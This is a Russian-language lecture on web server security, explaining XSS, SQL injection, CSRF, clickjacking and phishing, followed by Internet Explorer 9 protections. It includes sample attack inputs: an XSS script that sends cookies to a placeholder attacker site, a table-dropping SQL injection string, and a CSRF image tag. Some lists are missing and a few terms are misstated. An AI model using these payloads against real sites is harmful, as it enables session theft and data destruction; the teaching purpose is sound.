Обеспечение безопасности веб-приложений

В данной лекции рассматриваются некоторые наиболее распространенные уязвимости веб-серверов и методы, противодействующие использованию данных уязвимостей.

В последние годы число атак, нацеленных на веб-сервера, значительно возросло. Веб-серверы особенно уязвимы в силу своей открытости, поскольку рассчитаны на обмен информацией с пользователями.

Веб-сервер формируется несколькими слоями ПО (рис. 23.1), каждый из которых подвержен разнообразным способам атаки

Обеспечение безопасности операционной системы реализуется путем установления последних обновлений системы безопасности, регулярно выпускаемых разработчиками этой ОС.

Также следует вовремя обновлять все программное обеспечение, работающее на веб-сервере. Любое ПО, не относящееся к необходимым компонентам (например, DNS-сервер либо средства удаленного администрирования наподобие VNC или служб удаленных рабочих столов), следует отключить или удалить.

Использование антивирусного ПО является обязательным требованием для любого веб-сервера вне зависимости от операционной системы, используемой в качестве платформы. В сочетании с гибким межсетевым экраном антивирусное ПО становится одним из самых эффективных способов защиты от угроз безопасности. Когда веб-сервер становится целью атаки, злоумышленник без промедления пытается загрузить инструменты взлома или вредоносное ПО, чтобы успеть использовать уязвимость системы безопасности до того, как она будет закрыта. При отсутствии качественного антивирусного пакета уязвимость системы безопасности может долгое время оставаться незамеченной.

Атаки веб-серверов можно разделить на две категории: локальные и глобальные.

Локальные атаки обычно направлены на кражу информации или перехват управления на отдельном веб-сервере.

Глобальные атаки обычно направлены на несколько веб-сайтов и ставят своей целью заражение всех их посетителей.

Наиболее опасные виды сетевых атак

Фишинг (phishing) - вид атаки, который начинается с рассылки почтовых сообщений, содержащих ссылку на известный ресурс (или имитирующий такую ссылку). Дизайн веб-страницы обычно копируется с воспроизводимого ресурса. На фальсифицируемой странице может быть, например, написано, что банк, где вы имеете счет, проводит акцию по проверке безопасности доступа, при этом предлагается ввести номер вашей кредитной карты и PIN-код. После ввода указанной информации, выводится сообщение о том, что все в порядке, а через некоторое время со счета пропадают деньги. Данная схема может быть использована не только для хищения денег. Получив доступ к аккаунту пользователя, злоумышленники получают тем самым доступ к его конфиденциальной информации.

Социальная инженерия - это метод несанкционированного доступа к информации или системам хранения информации без использования технических средств. Метод основан на использовании слабостей человеческого фактора и считается очень разрушительным. Злоумышленник получает информацию, например, путем сбора информации о служащих объекта атаки, с помощью обычного телефонного звонка или путем проникновения в организацию под видом ее служащего.

Scam - мошеннический трюк, заключающийся в том, чтобы, ссылаясь на авторитетных лиц, втереться в доверие и извлечь коммерческую выгоду.

Одним из возможных средств атак является использование IDN (International Domain Name). Дело в том, что в системах, поддерживающих IDN, допускается использование букв национальных алфавитов, а, например, некоторые буквы латинского и русского алфавитов пишутся идентично. Этим могут воспользоваться злоумышленники, они могут зарегистрировать имена, которые выглядит как имена известной фирмы, например microsoft.com, где некоторые буквы заменены на русские, так что это внешне не заметно, например, буквы с или о. Тогда при ошибочной замене одной или нескольких букв на русские клиент попадет не на сайт компании Microsoft, а на внешне неотличимый от него сайт злоумышленника.

Спуфинг (spoofing) - одна из разновидностей фишинга. Ее суть заключается в атаке через DNS (или каким-то иным способом), когда страница с известным URL подменяется страницей злоумышленника.

Троянский конь (Spyware) - программа, записывающая все нажатия клавиш на терминале или мышке, способна записывать screenshot'ы и передавать эти данные удаленному хозяину.

Spyware. Эта разновидность программ не обязательно вредоносна. Некоторые разработчики ПО встраивают такие программы в свои продукты, чтобы отслеживать предпочтения своих клиентов. К сожалению, не все эти программы столь безобидны. Некоторые программы spyware в соответствии со своим названием отслеживают действия хозяина машины, куда эта программа внедрена (нажатия клавиш, посещаемые сайты, конфиденциальную информацию и т.д.) и передают результаты своему хозяину. Заражение spyware может осуществиться традиционно через почту, IM (Instant Messaging) или в результате посещения скомпрометированного сайта.

Атаки на веб-серверы

Легальные WEB-серверы взламываются посредством следующих видов атак:

Одним из основных инструментов вторжения в последнее время стала атака типа "drive-by download" (загрузка файлов или скриптов без ведома хозяина). Разнообразие мультимедиа форматов также облегчает работу хакеров. Ведь пользователя обычно не удивляет необходимость загрузки новейшей версии кодека или драйвера для просмотра или прослушивания материала, размещенного на удаленном сервере.

Cross-Site Scripting (CSS) является одной из наиболее широко распространенных сетевых атак, преследующих цель, получение персональных данных с помощью веб-технологий (иногда этот вид атаки называют "HTML injection"). Задача решается за счет выполнения определенного Javascript кода в браузере жертвы. При этом получается некоторая информация, содержащаяся на машине жертвы (например, cookies). Метод не наносит непосредственного вреда, но может быть предшествовать более серьезной атаке.

Вредоносной может быть ссылка с использованием уязвимого веб-сайта:

http://www.vulnerable.site/welcome.cgi?name=
    <script>
      window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)
    </script>

Страница же отклика должна иметь вид (как результат исполнения wellcome.cgi):

<HTML>
  <Title>Welcome!</Title>
  Hi
  <script>
    window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)
  </script>
  <BR>
  Welcome to our system
  ...
</HTML>

Браузер немедленно при загрузке этой страницы исполнит встроенный Javascript код и пошлет запрос "collect.cgi script" по адресу www.attacker.site, со значением cookies =www.vulnerable.site. Cookies могут также содержать аутентификационные и авторизационные данные, что представляет уже серьезную опасность.

Файлы cookie

Большинство браузеров поддерживают два метода, которые веб-приложения могут использовать для сохранения информации о запросах клиентов: обычные файлы cookie и файлы cookie сеанса.

Файл cookie - это небольшой файл, создаваемый браузером и хранящийся на компьютере пользователя. Его содержимое не регламентируется, но обычно в таких файлах хранится название, дата окончания срока действия и некий объем данных, например: "Visited = 36" или "Selected = true".

Файл cookie сеанса позволяет веб-приложениям хранить данные в памяти.

Различие между двумя методами заключается в том, что обычный файл cookie сохраняется на компьютере пользователя и остается на нем до момента удаления пользователем. Файл cookie сеанса, напротив, хранится только на протяжении времени работы компьютера и автоматически теряется при закрытии приложения-браузера. При этом оба файла подвержены манипуляциям извне.

В отношении файлов cookie необходимо стремится ограничить объем данных, сохраняемых в них, в особенности тогда, когда эти данные не следует хранить в открытом доступе. Оптимальный подход - считать все данные, хранящиеся на компьютере пользователя, ненадежными.

SQL-инъекция

SQL-инъекция используется для атаки веб-сайтов, работающих с базами данных. Возможность внедрения SQL-кода возникает, если в SQL-запросах используются неотфильтрованные данные, вводимые пользователями.

Многие современные веб-сайты используют сценарии и SQL-запросы для динамического формирования содержимого страницы. В SQL-запросах часто используются данные, вводимые пользователями; это может привести к угрозе безопасности, поскольку злоумышленники могут попытаться внедрить во входные данные вредоносный SQL-код. Без надлежащих мер защиты такой код может быть успешно выполнен на сервере.

Рассмотрим следующий PHP-код:

$firstname = $_POST["firstname"]; 
mysql_query("SELECT * FROM users WHERE 
    first_name='$firstname'");

После того, как пользователь введет свое имя в веб-форме, SQL-запрос вернет список всех пользователей с тем же именем. Если указать в форме имя "John", то SQL-запрос будет иметь следующий вид:

"SELECT * FROM users WHERE first_name='John'"

Это допустимая конструкция, которая сработает так, как и ожидается. Однако, если вместо имени ввести, например, "'; drop table users; #", то конструкция будет выглядеть следующим образом:

"SELECT * FROM users WHERE first_name=''; DROP TABLE users; #'"

Точка с запятой позволяет выполнять несколько следующих друг за другом команд. В результате простая SQL-команда превращается в сложную трехсоставную конструкцию:

SELECT * FROM users WHERE first_name='';

Исходная инструкция теперь бесполезна - ее можно пропустить. Вторая инструкция приведет к тому, что в базе данных будет целиком удалена соответствующая таблица, а стоящий в третьей строке символ "#" приведет к тому, что СУБД проигнорирует оставшуюся часть строки (как часть комментария) без выдачи сообщений о синтаксической ошибки в запросе.

Приведенная в примере уязвимость особенно опасна, поскольку ее можно использовать для вывода закрытых данных, изменения отдельных полей или удаления информации. Некоторые СУБД также позволяют выполнять системные команды с помощью SQL.

В принципе, этот вид угрозы легко устраним благодаря проверке вводимых пользователем данных. Например, в PHP имеется специальная функция mysql_real_escape_string, удаляющая из строки потенциальный код SQL-инъекции. Ее следует использовать для фильтрации всех данных, внедряемых в SQL-инструкции.

XSS (межсайтовый скриптинг)

Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.

Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. В разное время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.

Рассмотрим следующий PHP-код:

$firstname = $_POST["firstname"];
echo "Your name: $firstname";

После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя "John", то сообщение будет иметь следующий вид: "Your name: John".

Что произойдет, если вместо имени ввести следующую конструкцию:

"<script>alert ("You just got hacked!") ;</script>" ?

К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.

Использование уязвимостей

Одной из желанных целей для создателей вредоносного ПО является возможность запуска кода без каких-либо действий пользователя. Самый распространенный способ достижения этой цели - использование уязвимости приложения или операционной системы для получения прав на выполнение. В последние годы эта тактика применялась многочисленными семействами сетевых червей, заражавших сетевые компьютеры с использованием различных уязвимостей. Этот метод (т.е. применение эксплойтов) особенно характерен для интернет-атак. Использование уязвимостей в клиентских браузерах предоставляет вредоносным программам возможность выполнения кода даже в том случае, если пользователь просто перешел на вредоносную страницу. Такие атаки зачастую называют "drive-by download" (попутная загрузка).

В последние годы вредоносные программы все чаще используют сеть WWW. Можно привести следующие примеры:

Использование уязвимостей является идеальным механизмом, с помощью которого может запускаться вредоносный код. Тем не менее, социальная инженерия по-прежнему остается надежным инструментом создателей вредоносного ПО и продолжает широко применяться в почтовых атаках. Современное повышение пропускной способности каналов и усовершенствования в клиентских технологиях привели к существенному росту потребности в полнофункциональном браузерном контенте. Все больше веб-страниц содержат встроенный звук, анимацию или видеоконтент. Это упрощает задачу создателей вредоносного ПО, позволяя им повысить эффективность использования социальной инженерии в WWW.

Использование порнографии в качестве приманки можно продемонстрировать на примере семейства троянов для платформы Windows, известного как Zlob. Используемый им механизм установки подразумевает посещение различных веб-сайтов, на которых предлагается порнографический веб-контент. При попытке доступа к определенному контенту (обычно привлекательному порноролику) пользователь сталкивается с сообщением об ошибке. Щелкнув ссылку, чтобы установить отсутствующий видеокодек, пользователь на самом деле загружает подложный установочный пакет с другого сайта, специально созданного для атаки. При запуске пакета устанавливаются вредоносные компоненты Zlob, в результате чего компьютер клиента заражается.

Использование поисковых интернет-систем при выявлении потенциальных целей особенно актуально в случаях, когда атаке подвергается сам веб-ресурс, будь то сайт или отдельное веб-приложение. Данная техника используется в целом ряде экземпляров вредоносного ПО, наиболее известным из которых является Perl/Santy - червь, применяющий поисковую систему Google для выявления новых жертв, использующих определенное форумное интернет-приложение. Если раньше хакеры использовали для поиска уязвимых компьютеров в сети специализированные скрытные средства, то теперь подходящие для атаки мишени можно находить с помощью поисковых систем. Предположим, что в популярном приложении для ведения форума или блога найдена уязвимость. Злоумышленники могут использовать поисковые системы для выявления сайтов, на которых имеются страницы, создаваемые популярным приложением (например, для поддержки форума или блога), имеющим уязвимость, формируя список потенциальных жертв.

Вредоносное ПО может размещаться на самых разных сайтах. Хакеры могут использовать бесплатные службы веб-хостинга, создавать новые сайты, специально предназначенные для атаки, а также захватывать существующие сайты, превращая их в базу для атаки. В большинстве случаев для заражения жертв используются скрипты (обычно на JavaScript). Так же, как обычные скрипты зачастую опрашивают клиентский браузер, чтобы обеспечить корректное отображение страницы, вредоносные скрипты могут запрашивать браузер, чтобы загрузить подходящий эксплойт. В таких атаках обычно используется перебор списка известных эксплойтов, в ходе которого ищется тот эксплойт, от которого клиент не защищен.

Скомпрометированные сайты

Пользователи подключаются к сайтам для использования предоставляемых ими услуг (от интернет-карт и новостей до прогнозов погоды), позволяя своим браузерам соответствующим образом отображать страницы. Пользователей обычно призывают вести списки надежных сайтов, чтобы браузер можно было настроить в соответствии с уровнем надежности просматриваемого сайта. Таким образом пользователи могут включать в браузерах также вещи, как скрипты, ActiveX и Java, если они необходимы для просмотра конкретного сайта. Сама по себе идея применения более строгих правил к разрешенному контенту, поступающему из ненадежной области, основана на разумных принципах.

Компрометация сайта, в результате которой на страницах загружается вредоносный контент, служит малозаметным средством достижения своих целей. Более того, если скомпрометирован сайт с большим количеством регулярных пользователей, которые считают его надежным, то потенциальное число жертв также будет весьма велико.

Методы, основанные на использовании тега <IFRAME>

Язык HTML предоставляет множество удобных способов загрузки дополнительного контента. Чаще всего на скомпрометированных сайтах используется метод с применением тега <IFRAME> , который позволяет незаметно загрузить на страницу дополнительный контент. Этот тег широко используется для обычной разметки на многих веб-сайтах. Компрометация считавшегося надежным сайта с помощью этого метода весьма удобна для создателей вредоносного ПО, поскольку для привлечения пользователей на сайт не требуется применение социальной инженерии, а для загрузки вредоносного контента не нужны действия пользователя. Тег <IFRAME> поддерживает несколько атрибутов. Чаще всего в атаках используются атрибуты ширины и высоты, с помощью которых можно задавать размер фрейма на странице, куда загружается контент. Чтобы сделать компрометацию незаметной для пользователя, в большинстве вредоносных тегов <IFRAME> задаются весьма малые значения для длины и ширины (0-10 пикселей). Подобные теги приводят к созданию на странице множества мелких полей, которые могут стать весьма заметны в случае ее многократного заражения.

Аналогичный результат обычно достигается путем компрометации веб-страницы с помощью вредоносного скрипта, который просто вписывает тег <IFRAME> в страницу при ее просмотре.

Теоретически после обхода системы безопасности сайта и получения удаленного доступа на скомпрометированном сервере могут размещаться все компоненты, необходимые для атаки. Измененные страницы могут запускать вредоносные скрипты и устанавливать вредоносное ПО, размещаемое на том же сервере. Однако, во-первых, перенаправление скомпрометированных сайтов на единый атакующий сайт предоставляет хакеру единый пункт управления атакой. Во-вторых, добавление небольших скриптов или тегов на страницы скомпрометированного сайта менее заметно, чем загрузка крупных скриптов и двоичных файлов. Помимо видимых признаков многократного заражения сайта исходный код сайта также зачастую будет содержать соответствующие признаки. Часто в нем можно увидеть несколько тегов <IFRAME> или вредоносных скриптов, зачастую обрамленных специфичными маркерами (HTML-комментариями).

Clickjacking

Clickjacking (кража кликов) является вредоносной технологией обмана пользователей WWW с целью получения конфиденциальной информации или осуществления перехвата управления машиной путем перехода пользователя по ссылке на веб-странице, не вызывающей подозрений у пользователя. Такая атака реализуется в форме кода или сценария, исполняемого без ведома пользователя.

Вариант реализация атаки может быть следующим: злонамеренный сайт A содержит в себе HTML элемент IFRAME, с адресом сайта B, к которому пользователь имеет доступ на основе авторизационных данных Cookie. Сайт A перекрывает страницу с сайта B таким образом, чтобы оставить видимым конкретный элемент, например, кнопку "Удалить аккаунт", "Добавить друга" и т.д. Сайт A может иметь такой интерфейс, который позволял бы рассматривать элемент с сайта B, как часть сайта A, побуждая пользователя нажать на него. Тем самым пользователь подвергается опасности совершения абсолютно непредполагаемых им действий, который выгодны злоумышленнику. Добиться такого "перекрывания" интерфейса другого сайта можно с помощью метода CSS Overlay.

Вариант атаки типа Clickjacking, известный также как UI Redressing (фальсификация идентичности пользователя), возможна благодаря выполнению нестандартных действий веб-страницей, не вызывающей подозрений у пользователя. Такая страница вынуждает пользователя выполнить нежелательные действия при активировании им замаскированной ссылки. На такой странице-ловушке злоумышленник помещает набор фальшивых кнопок, затем загружает поверх предыдущей другую страницу в виде прозрачного слоя. Пользователь думает, что он нажимает на видимую кнопку, в то время как действия выполняются на скрытой странице. В результате пользователь выполняет не предполагавшиеся им действия. Что важно, практически невозможно отследить такие операции, так как пользователь был аутентифицирован совершенно на другой странице. Следует отметить, что реализации такой атаки основана на использовании HTML элемента IFRAME.

Простым средством противодействия является использование JavaScript, блокирующего использование HTML-фреймов. Но в последнее время разрабатываются версии Clickjacking, которые не требует фреймов.

XML-бомба

XML-бомба - это XML-документ, который содержит:

Когда XML-парсер пытается обработать такой документ, объем внутренних данных парсера растет экспоненциально, что приводит к сбою в работе веб-сайта или даже интернет-провайдера. По-сути, данный вид атаки является разновидностью DoS (denial-of-service) атаки.

CSRF

CSRF (Cross-site request forgery) атака, известная также как "атака одного клика", основана на исполнении веб-сайтом неавторизованных команд, исходящих от пользователя, которому веб-сайт доверяет.

Атака может быть реализована путем включения ссылки или сценария в страницу, с которой происходит переход на сайт, считающий, что пользователь прошел авторизацию. Например, Боб может просматривать форум и увидеть запись, оставленную Джоном . Предположим, что Джон создал HTML элемент типа IMAGE, ссылающийся на сценарий, выполняющийся на веб-сайте банка, клиентом которого является Боб, например:

<img src="http://bank.example/withdraw?account=Bobamount=1000000for=John">

Если при этом банк Боба сохраняет аутентификационную информацию в cookie, и срок действия cookie еще не истек, тогда попытка браузера Боба загрузить это "изображение" приведет к перемещению денег со счета Боба на счет Джона, путем авторизации данной транзакции без ведома Боба.

Особенностями общими для всех атак типа CSRF являются следующие:

Риску подвергаются веб-приложения, которые выполняют действия, основанные на данных от доверяемых или авторизованных пользователей без требования от пользователя подтвердить конкретное действие. Пользователь, который авторизуется с помощью cookie его веб-браузера может невольно направить HTTP-запрос на сайт, который доверяет этому пользователю, вызвав тем самым нежелательные действия.

CSRF атаки с использованием элемента IMAGE часто используются в интернет-форумах, в которых пользователям разрешено оставлять изображения, но не JavaScript-сценарии.

Использование фальсификации заголовков запросов

Adobe Flash позволяет посылать заголовки HTTP-запросов из сценариев, использующих Flash Action Script. Возможность для злоумышленников заставить браузер жертвы посылать HTTP-запросы третьей стороне имеет серьезные последствия для безопасности.

Браузеры накладывают ограничения на размер кода (потенциально вредоносного), который может быть послан внутри фальсифицированного заголовка запроса. Такое ограничение снижает риск уязвимости. Но Flash позволяет злоумышленникам обойти это ограничение путем упаковки фальсифицированных запросов в Flash-файл. Специальным образом подготовленный Flash-файл доставляет вредоносный код атакуемому браузеру, что увеличивает риск успешной атаки веб-сервера.

Черные ходы в медиа-файлах

Использование сценарных возможностей одного приложения для реализации уязвимости в другом достаточно широко используется в Web. Потенциально это может даже привести к выявлению черных ходов в pdf-файлах, поскольку pdf-файлы могут содержать в себе JavaScript сценарии. В последнее время стала рассматриваться возможность обнаружения черных ходов в MP3-файлах.

Сигнатурный анализ

Распознавание атак по сигнатурам становится все более проблематичным. Во-первых, сигнатур становится настолько много, что их перебор начинает поглощать все более заметные ресурсы процессора. Во-вторых, многие вредоносные коды содержат в себе механизмы активной вариации сигнатуры. Кроме того, не следует забывать об атаках нулевого дня, которые несут в себе наибольшую угрозу. В качестве альтернативы сигнатурному распознаванию может рассматриваться регистрация аномального поведения машины или всей локальной сети, которое может быть сопряжено с атакой или вторжением.

Сигнатурный анализ вряд ли сможет сегодня предотвратить вторжение, но может составить список клиентов с "дурной" репутацией, доступ которых следует ограничить.

Сегодня должен контролироваться весь не только внешний трафик, но внутренний трафик на предмет содержания вредоносных кодов. Современные системы противодействия вредоносным кодам могут включать в себя подсистемы фильтрации cookie и заголовков.

Меры по защите от интернет-атак

Самый простой способ проверки интернет-контента - это использование какого-нибудь приложения, проверяющего входящий HTTP-трафик. В ходе такой проверки приходящий контент обычно передается антивирусной программе, что позволяет блокировать страницы, содержащие заведомо вредоносные программы и скрипты.

Проверка контента на интернет-шлюзе позволяет обеспечить дополнительный уровень защиты пользователей с помощью антивирусных программ. Проверка контента и фильтрация URL-адресов превосходно дополняют друг друга, обеспечивая защиту при изменении источника и метода атаки.

В веб-приложениях также обычно применяется какая-либо форма классификации URL-адресов. При этом запросы к заведомо вредоносным адресам или доменам могут блокироваться вне зависимости от того, был ли обнаружен вредоносный контент. Безусловно, это полезно с учетом того, что хакеры активно используют автоматизацию для постоянного изменения угроз с целью избежать обнаружения. Успех блокирования запросов к заведомо вредоносным доменам зависит от своевременного обновления списка подобных сайтов. Эффективность применения такого списка определяется рядом факторов, в числе которых:

Одним из главных и безусловных требований является своевременное обновление всех системных и прикладных программ.

Браузеры (в частности, Internet Explorer) и веб-серверы довольно часто становятся объектами атак. Cвязано это с тем, что они являются широко распространенными и достаточно сложными программами, которые пользователи не обновляют своевременно. Уязвимость веб-сервера возрастает, когда он предоставляет хостинг для размещения десятков, а иногда и тысяч, веб-серверов клиентов. Особую угрозу представляют взломанные машины, которые превращены в прокси-серверы. Это позволяет злоумышленнику замаскировать свою активность.

Так как некоторые сайты нельзя просмотреть, если запретить выполнение JavaScript, Java-аплетов, .NET-приложений, Flash или ActiveX, разрешение работы этих программ в рамках браузера на компьютере пользователя открывает двери для вторжений в случае наличия ошибок в кодах web-приложений, которые принимают ввод пользователей и используют cookies. Любые web-приложения, которые предполагают ввод текста в диалоговом режиме (блоги, wiki, комментарии и пр.) потенциально могут стать средством ввода вредоносного кода и последующей пересылки его другим пользователям.

Многих угроз можно избежать, если сформировать шлюз веб-сервера, который может:

Наиболее эффективной может считаться многоуровневая защита:

Firewall (брандмауэр, межсетевой экран) - комплекс аппаратных или программных средств, осуществляющий контроль и фильтрацию проходящих через него сетевых пакетов на различных уровнях модели OSI в соответствии с заданными правилами.

Основной задачей Firewall'а является защита компьютерных сетей или отдельных узлов от несанкционированного доступа. Также Firewall'ы часто называют фильтрами, так как их основная задача - не пропускать (фильтровать) пакеты, не подходящие под критерии, определённые в конфигурации.

Средства защиты от веб-атак в Internet Explorer 9

Для защиты от исполнения вредоносного кода в IE9 используется фильтр SmartScreen Anti-Malware. Функционирование данного фильтра основано на URL-репутации - это означает, что он оценивает серверы, ответственные за загрузки и определяет, числятся ли они в списках распространителей небезопасного содержимого.

Данный фильтр :

При включенном фильтре SmartScreen в случае попытки пользователя перейти на один из упомянутых выше web-сайтов появляется окно с рекомендацией отказаться от продолжения этого действия.

Поведенческий фильтр URL

Сегодня многие сайты используют аггрегирование данных (MashUp) собственного содержания и информации, полученной с других сайтов, например, интерактивные веб-карты с дополнительными слоями. Однако многие веб-приложения уязвимы для атак межсайтового выполнения сценариев (XSS). IE8 - первый браузер, который имеет встроенную защиту от подобных угроз. Его фильтр способен обучаться - любой пользователь может внести посильный вклад в повышение безопасности интернета, сообщая о подозрительных ресурсах.

Антифишинговый фильтр (Social Engineering Defenses) IE 9 обращает внимание пользователя на сайт, на который осуществляется переход, предостерегая владельца компьютера от неверных действий и непродуманных решений.

В IE 9 реализована обработка доменных имен в адресной строке браузера. Эта технология помогает быстро и точно выяснить, является ли открываемая страница той, которую предполагалось открыть. В адресной строке название сайта выделяется черным цветом, а остальные символы в URL-строке отображаются серым. Если переход осуществляется по защищенному соединению (HTTPS), то адресная строка подсвечивается зеленым цветом, а когда один из встроенных фильтров предупреждает об опасности, то подсветка становится красной.

Часто возникает необходимость в том, чтобы защитить личные сведения пользователя компьютера. Ими могут быть пароли или история посещения пользователем страниц в интернете, например, при проведении платежных операций или работе с информацией, составляющей коммерческую тайну.

Технология InPrivate

В IE 9 имеется многоуровневый механизм реализации данного вида зашиты. Во-первых, это InPrivate Browsing, режим, когда история посещенных страниц, временные файлы обозревателя (Temporary Internet files), данные, внесенные в формы, cookies, имена пользователей и паролине будут храниться ни в браузере, ни в операционной системе. Во-вторых, это InPrivate Blocking - режим фильтрации, который позволяет взять под контроль данные, запрашиваемые сайтом у браузера. И, наконец, это InPrivate Subscriptions (приватные подписки).

Функция просмотра InPrivate предотвращает сохранение данных о сеансах просмотра программой Internet Explorer. Это помогает предотвращать получение посторонними пользователями компьютера информации о посещенных страницах и просмотренном содержимом. При запуске просмотра InPrivate Internet Explorer открывает новое окно. Защита, обеспечиваемая режимом просмотра InPrivate, применяется только во время использования этого окна. В этом окне можно открывать любое количество вкладок, при этом все они будут защищены с помощью режима просмотра InPrivate. Однако при открытии другого окна веб-обозревателя оно не будет защищено с помощью режима просмотра InPrivate. Чтобы завершить сеанс просмотра InPrivate, закройте окно веб-обозревателя.

Фильтрация InPrivate помогает предотвратить сбор поставщиками содержимого сведений о посещенных веб-узлах. Фильтрация работает следующим образом.

Большинство веб-страниц используют содержимое веб-узлов, например рекламные материалы, карты или инструменты веб-анализа, отличающихся от посещаемых. Данные веб-узлы называются поставщиками содержимого или сторонними веб-узлами. При посещении веб-узла со сторонним содержимым некоторые сведения о пользователе отправляются поставщику содержимого. Если поставщик содержимого предоставляет содержимое большому количеству посещаемых веб-узлов, поставщик содержимого может разработать профиль параметров просмотра. Профили параметров просмотра могут использоваться в разных целях, включая анализ и показ адресной рекламы.

Обычно данное содержимое стороннего веб-узла, например встроенное изображение или видеоролик, отображается без проблем. Источником содержимого считается веб-узел, посещенный первоначально, поэтому отслеживание других веб-узлов, которые могут получать сведения о посещенных вами веб-страницах, невозможно. Инструменты веб-анализа или веб-измерения сообщают о том, какие веб-узлы обычно посещает пользователь, и не всегда видны. Несмотря на то что эти инструменты иногда отображаются как видимое содержимое (например, счетчик посещений), они зачастую невидимы для пользователей, как это часто бывает в случае с веб-маяками. Веб-маяки представляют собой, как правило, одноточечные изображения, единственной целью которых является отслеживание использования веб-узлов; они не отображаются в качестве видимого содержимого.

Работа фильтрации InPrivate заключается в анализе веб-содержимого на посещаемых веб-страницах: если аналогичное содержимое используется на нескольких веб-узлах, будет доступна возможность разрешить или блокировать данное содержимое. Можно также выбрать автоматическую блокировку любого поставщика содержимого или стороннего веб-узла, обнаруживаемого с помощью функции фильтрации InPrivate, либо отключить эту функцию.

По умолчанию функция фильтрации InPrivate обеспечивает анализ посещаемых веб-узлов и поставщиков содержимого, однако не блокирует их автоматически. Можно разрешить или блокировать любого поставщика содержимого, определяемого режимом фильтрации InPrivate в качестве узла, обменивающегося параметрами просмотра. В качестве альтернативного варианта, с помощью функции фильтрации InPrivate можно автоматически блокировать любого поставщика содержимого, либо отключить эту функцию.

Расширенная поддержка групповых политик безопасности

В IE9 реализована расширенная поддержка групповых политик безопасности. Она облегчает управление учетной записью пользователя, а в Windows Vista позволяет осуществлять установку элементов управления ActiveX пользователями самостоятельно, так как это не требует администраторских привилегий. Помимо этого, улучшен и контроль управления безопасностью исполнения ActiveX-элементов, поскольку они могут быть потенциальным объектом атаки злоумышленников. Поэтому в IE9 реализована дифференцированная схема управления ActiveX-компонентами. Подобные элементы можно не только разрешать или запрещать на исполнение в браузере целиком и полностью (как было раньше), но и делать это выборочно для каждого сайта. Таким образом, то, что было разрешено для одного сайта, будет запрещено для других сайтов. Разработчики подобных элементов управления при помощи средства ATL (ActiveX SiteLock) могут настроить созданные ActiveX-компоненты с ограничением доступа в виде списка доменов или на определенный период времени.

Использование фильтрации ActiveX для блокирования элементов ActiveX

Элементы ActiveX и надстройки браузера - это небольшие программы, позволяющие веб-сайтам предоставлять пользователям такие материалы, как видеоролики. Эти программы также могут выполнять сбор информации, повреждать данные на компьютере, устанавливать программное обеспечение без согласия пользователя и использоваться для удаленного управления компьютером.

Фильтрация ActiveX не позволяет веб-сайтам устанавливать и использовать подобные программы.

Технология защиты памяти DEP (NX)

DEP (Data Execution Prevention - предотвращение выполнения данных) или NX (No-Execute) - технология предотвращающая запуск программного кода из области памяти, которая отводится под данные. Таким образом предотвращаются атаки, связанные с технологией переполнения буфера обмена.

По-сути, DEP/NX является функцией современных процессоров, которая позволяет помечать страницы памяти как исполняемые или неисполняемые, тем самым предоставляя возможность избежать исполнения вредоносных данных, размещаемых в памяти. Если процессор обнаруживает передачу управления (обычно команда jump) в область памяти, помеченную как неисполняемую, то он сразу же вызывает срабатывание механизма исключения, прерывающего текущий процесс. Другими словами, если DEP/NX определяет, что имеет место потенциально опасный переход, то он вызывает "безопасный сбой" процесса с целью предотвращения работы потенциально опасного вредоносного приложения (эксплоита).

Для обеспечения этой функции безопасности от пользователя не требуется никаких дополнительных действий и никаких запросов на выполнение он получать не будет.

Когда IE9 восстанавливается после сбоя, инициированного DEP/NX, восстановление текущих закладок не будет выполняться автоматически. Это сделано с целью предотвращения многократных попыток со стороны вредоносного сайта использовать уязвимость. Вместо это браузер выдаст сообщение следующего вида (для нерусифицированной версии браузера):

В случае, когда процессор переходит на неисполняемую страницу памяти, она может содержать три типа данных: вредоносный код, невредоносный код и "мусор".

Обычно DEP/NX применяется в сочетании с технологией ASLR (Address Space Layout Randomization), которая размещает важные системные функции в случайным образом выбранных областях памяти при каждой перезагрузке системы. Это предотвращает вызов вредоносной программой функции VirtualProtect(), позволяющей изменить статус страницы памяти (например, сделать ее исполняемой).

Виртуальная Java-машина (JVM) и Active Template Library (ATL) генерируют так называемый "JIT compile" исполняемый код и передают управление на него. Старые версии этих сред не помечали страницы памяти, содержащие сгенерированный таким образом код как исполняемые, приводя тем самым к сбою при включенной функции DEP/NX.

В Internet Explorer 7 по причинам совместимости DEP по умолчанию был отключен. Несколько популярных модулей (addons) были несовместимы с DEP и могли вызвать завершение работы Internet Explorer при включенном DEP. Чаще всего проблема состояла в том, что эти дополнения были скомпилированы с использованием старой библиотеки ATL. До версии 7.1 SP1 ATL полагалась на динамически сгенерированный код, который несовместим с DEP. И хотя большинство разработчиков популярных аддонов уже выпустили обновленные для DEP версии, некоторые могут быть не обновлены до выхода Internet Explorer 9.

Новые DEP API позволяют Internet Explorer использовать DEP, при этом старые модули, использующие старые версии ATL, не станут причиной завершения работы Internet Explorer.

В редких случаях, когда дополнение несовместимо с DEP по какой-либо иной причине, отличной от использования старой версии ATL, опция в групповых политиках позволияет выключать DEP для Internet Explorer до тех пор, пока обновленная версия дополнения не будет развернута. Локальные администраторы могут контролировать использование DEP, запустив Internet Explorer (в режиме администратора) и выключив опцию защиты памяти.

Другие инструменты безопасности в IE 9

